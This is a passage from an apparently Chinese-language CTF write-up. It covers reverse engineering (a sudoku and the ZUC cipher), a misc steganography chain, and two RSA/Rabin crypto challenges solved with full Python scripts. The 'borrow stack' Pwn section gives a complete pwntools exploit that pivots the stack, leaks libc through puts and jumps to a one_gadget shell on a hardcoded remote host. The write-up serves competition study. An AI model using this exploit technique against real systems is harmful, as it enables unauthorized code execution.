for i5 in m[5]:
for i6 in m[6]:
for i7 in m[7]:
for i8 in m[8]:
for i9 in m[9]:
for i10 in m[10]:
for i11 in m[11]:
for i12 in m[12]:
for i13 in m[13]:
for i14 in m[14]:
for i15 in m[15]:
for i16 in m[16]:
res = i0+i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+i11+i12+i13+i14+i15+i16
res = pair(res)
s = md5(res.encode()).hexdigest()
if s[0:16] == 'e03657e01aa92999':
print(s)
print(res)

渣代码,这种一直不知道怎么写QAQ

veryeasyRE

一开始很明显一个数独。而且这个数非常眼熟,好像之前哪个比赛用过。。。

然后一个没见过的加密算法。搜一下常量搜到zuc,祖冲之加密算法。输入32位字符串,偶数下标作为key加密。

逻辑不难,但是找不到key。题目自带提示输入的数独解应该跟key有关,但是实在没找到。。。

脚本不贴了,百度百科有祖冲之加密算法的实现。找到key就可以解了。。。

好吧复盘看了下wp,在输入数独之后一个不起眼的地方把输入的数列异或了16个字节,然后根据提示这个就是key。。。

只能怪看题不仔细吧2333

Pwn

borrow stack

简单的栈溢出,栈转移到bss,提前布置leak出libc地址,然后栈溢出one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = "DEBUG"
p = remote("123.56.85.29","3635")
p.recvuntil("want\n")
basebp = 0x0000000000601080 + 0xc0
leaveret = 0x0000000000400699
main = 0x0000000000400626
poprdi = 0x0000000000400703
puts_got = 0x0000000000601018
call_puts = 0x00000000004004E0
pause()
p.send('a'*0x60 + p64(basebp) + p64(leaveret))
pause()
p.sendline("".ljust(0xc8, "\x00") + p64(poprdi) + p64(puts_got) + p64(call_puts) + p64(main))
p.recvuntil(" now!\n")
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = puts_addr - 0x6F690
log.success("libc_base:0x%x"%libc_base)
one_gadget = libc_base + 0x45216
p.sendline('1'*0x68 + p64(one_gadget))
p.interactive()

misc

签到题不写了

code_in_morse

解莫斯电码,base32,出一个pdf417条码,扫出来一张图片,f5-steganography出flag

Crypto

simple_math

借助谷歌,成功做出这道题

第一部分

类似威尔逊定理,试了下200以内的质数,结果不是1就是n-1,猜测一下就是1或n-1。原理不知道。

谷歌到一个公式

\[ (p-k)!(k-1)!\equiv(-1)^k\quad mod \quad p \] 求出N2,得到p

第二部分谷歌一下发现一个用e*d求q的算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Crypto.Util.number import *
from random import randint
import sympy
A = 17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928699539
C = 17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928632158
n = 641840878174982655326850312496169636378455577115347500957057267640600977102280072913438154955029114771051709087809927454279064916870408880749853740239718248642560401110078626938726443568692572803490357236810832674229312155746539894173791356805341671586393273678865952155249500341932905426105470392415353610397045835698808163501258474762363712287163328526252399904787053101799058499120606154737990300449437479282435046167055009692493712202386368849122605419812883126887833074654434641607372149411668612504466768080306339558792828063148576123738980431264608446603326193849200810553196864085478463086993422774817059853949748247896512719994166090254440232652496451104455075071560127966288341488523110118075041150491577844082366096788215046025436488554795141938458493258409150407281215473354273599246314944034941237527510171900646139987019380766717951556307441871365874564881565374638513827494801194029940895912077179028101890662760455651864691251980479400416227456995236912364846811949410786643764713673564022863007331006828562341241738846980912184411395632790556038655767763976115640962139547171909279164623846000835333857705944581269631616760405747716520672142021728850694537269211784578408601266217928819863736428173736140161826738813
ed = 534634151124279413732259524933495479098721499860333007593590357554306358799023578194908726136928354695079848972480649724456088941906723794709312712191247045425297126517594344899286925836796680956816064609089090503579894117057252969264121691849003333804607728687046319857910698511132867345476426833313854575436202087209472834349551593011689755514138197238955298350562839877955001729313715223006875793667570760703418551390980455326976431990257513342820095246552412287184147009729875110446230949824384166464485840066906862476445054049749692262294734099027915906839812656254886862402603631321290156949953461665657610306709058617222159635281067103921037090824796905267992798715820128476225045484793453227511548884919811033318570386881936137713666127231317606909893143214808788822341878386939352957962886113639632559883992777992209148001401767753558732492213499792179169681405789041595765504039612494711563472885565786566625643290565526077483663342991770220261962082523632475094223960703649343802215392245948547397211539801128773253646005228684994277460378625729491412757387260415740823541731482803143732545953736392746596116269262129834845033889284145602522548909021358829175225208236295389454408336909318816490014229410357900614079212880259236238467905
ciphertext = 183288709028723976658160448336519698700398459340947322152692016513169599029222514445118399653225032641541100129985101994918772329046946295962244096646038598600865786096896989355554955041779941259413115779915405468832327321189345505283184153652727885422718280179025251186380977491993641792341259672566237363655347151343020354489781675539571788934759950303331075098574759853670802171054084321131703969504258663714257549258635956184694450566287845760701724862418909255930636298209146539578608879672058346906370035692078859844402832322545368347681121504910035471822137023626638953992968941166744998545450662434365836169688461834868137046528403401190395486501502489519341656581057940794141420456022102711505759074332049547354944074402136763186087462931985682293826106916791831371302

B = (A-1)//2
N1 = 1
# N1 = A-1
k = A-C

def gen_N(A,B):
result=1
for i in range(2,B+1):
result=(result*i)%A
return result

k1 = gen_N(A, (k-1))
N2 = ((A-1) * inverse(k1, A))%A
seed1=2019*N1+2020*N2
p = sympy.nextprime(seed1)
"""
def factor_from_d(n, ed):
kphi = ed - 1
# remove powers of 2 from phi multiple
kphi = kphi // gcd(kphi, 2^int(log(n, 2)))
while True:
# random base
b = randint(0, n)
x = power_mod(b, kphi, n)
# try to find a nontrivial square root of 1
while x != 1 and x != n - 1:
# found one!
# x^2 = 1 (mod n)
# x^2 - 1 = (x + 1)*(x - 1) (mod n)
if x^2 % n == 1:
return gcd(n, x + 1), gcd(n, x - 1)
x = x^2 % n
p, q = factor_from_d(n, ed)
"""
"""
p, q = (20983496766673618262715503853344613375043418407954589711036976457109181277047785476689615655807908465268477553479694808953488768860716696125737364358036401649980246090684670436058731030372949252949507412943053045214182742536613888598591569240175333698714988951971629691491682329057973113710029764801625129848524382506085422964583009216559589212838783369570732651945521377570516842490564224284945383046068592448450716584963006018470532289539101534613293900400755016511341043904031281127245880276684317776530036541115701776255070403521237654065598193436536158723942687958161706429347974994852399491148376284992283219059, 30587889392885476255415494083607304058158992818054979971876096375417191315158126483000902958669225479595762518708760613966903169454507079315520967778387632753558492708664868579515510043592707782095243918239255416554376922319356163495326158933213851859312801371400039602934010020484567730393318891743886323079024885360722679374634107414047225721753243055134720965366096775909092305499834607102499564141708419303112963541420207140198639429581312270591582850267654815484203793418740472307729997009732030391681164501610370090359081174864977073291405845914447185720058491663645821946252109246589897902567560825087599030607)
seed2=2020*p-2019*q
if seed2<0:
seed2=(-1)*seed2
Q = sympy.nextprime(seed2)

print(Q)
"""

q = 19370285215555067668998564771047027875835301315584733346923146138606763085667730706265799448821191143461519867244004165513130186030002066964047357941331099196474499675611335381203178096660319521092292496780089534690637866238820039127908545021004592832548268285873987981510567926661236557969850717531623724002531990881006535268928584251510978522285455321784121672144196207868013342973226338684356946249050741827114625888502126058750577783455684374405552095880869939109698550226293825712270185803746647452213597315697619624399742676939488649762840052159465827346433864993414267522200099079263156893164185210167450340297901
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
print(long_to_bytes(pow(ciphertext, d, n)))

warm_up

gcd求p,q

e1是偶数,Rabin密码解出s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
print(dir())

c1 = 9977992111543474765993146699435780943354123551515555639473990571150196059887059696672744669228084544909025528146255490100789992216506586730653100894938711107779449187833366325936098812758615334617812732956967746820046321447169099942918022803930068529359616171025439714650868454930763815035475473077689115645913895433110149735235210437428625515317444853803605457325117693750834579622201070329710209543724812590086065816764917135636424809464755834786301901125786342127636605411141721732886212695150911960225370999521213349980949049923324623683647865441245309856444824402766736069791224029707519660787841893575575974855
n1 = 15653165971272925436189715950306169488648677427569197436559321968692908786349053303839431043588260338317859397537409728729274630550454731306685369845739785958309492188309739135163206662322980634812713910231189563194520522299672424106135656125893413504868167774287157038801622413798125676071689173117885182987841510070517898710350608725809906704505037866925358298525340393278376093071591988997064894579887906638790394371193617375086245950012269822349986482584060745112453163774290976851732665573217485779016736517696391513031881133151033844438314444107440811148603369668944891577028184130587885396017194863581130429121
n2 = 16489315386189042325770722192051506427349661112741403036117573859132337429264884611622357211389605225298644036805277212706583007338311350354908188224017869204022357980160833603890106564921333757491827877881996534008550579568290954848163873756688735179943313218316121156169277347705100580489857710376956784845139492131491003087888548241338393764269176675849400130460962312511303071508724811323438930655022930044289801178261135747942804968069730574751117952892336466612936801767553879313788406195290612707141092629226262881229776085126595220954398177476898915921943956162959257866832266411559621885794764791161258015571
key_encode = 154190230043753146353030548481259824097315973300626635557077557377724792985967471051038771303021991128148382608945680808938022458604078361850131745923161785422897171143162106718751785423910619082539632583776061636384945874434750267946631953612827762111005810457361526448525422842867001928519321359911975591581818207635923763710541026422076426423704596685256919683190492684987278018502571910294876596243956361277398629634060304624160081587277143907713428490243383194813480543419579737033035126867092469545345710049931834620804229860730306833456574575819681754486527026055566414873480425894862255077897522535758341968447477137256183708467693039633376832871571997148048935811129126086180156680457571784113049835290351001647282189000382279868628184984112626304731043149626327230591704892805774286122197299007823500636066926273430033695532664238665904030038927362086521253828046061437563787421700166850374578569457126653311652359735584860062417872495590142553341805723610473288209629102401412355687033859617593346080141954959333922596227692493410939482451187988507415231993
enc = 17403902166198774030870481073653666694643312949888760770888896025597904503707411677223946079009696809


p = math.gcd(n1,n2)
q = n1 // p
r = n2 // p
phi1 = (p-1)*(q-1)
e1=125794
e2=42373


e1 = e1 // 2
d1 = inverse(e1, phi1)

print(e1*d1 % phi1)


sp = pow(c1, (p+1)//4, p)
sq = pow(c1, (q+1)//4, q)
yp = inverse(p, q)
yq = -(yp * p - 1) // q
r1 = (yp*p*sq + yq*q*sp) % n1
r2 = n1 - r1
r3 = (yp*p*sq - yq*q*sp) %n1
r4 = n1 - r3

sc = [r1,r2,r3,r4]
ss = []
for i in sc:
s = pow(i, d1, n1)
n3 = p*q*s
phi2 = (p-1)*(q-1)*(s-1)
d2 = inverse(e2, phi2)
key = pow(key_encode, d2, n3)
dec = key ^ enc
low200 = dec & ((1<<200)-1)
low135 = dec & ((1<<135)-1)
high135 = dec >> 200
high135 ^= low135
res = high135 << 200 | low200
print(long_to_bytes(res))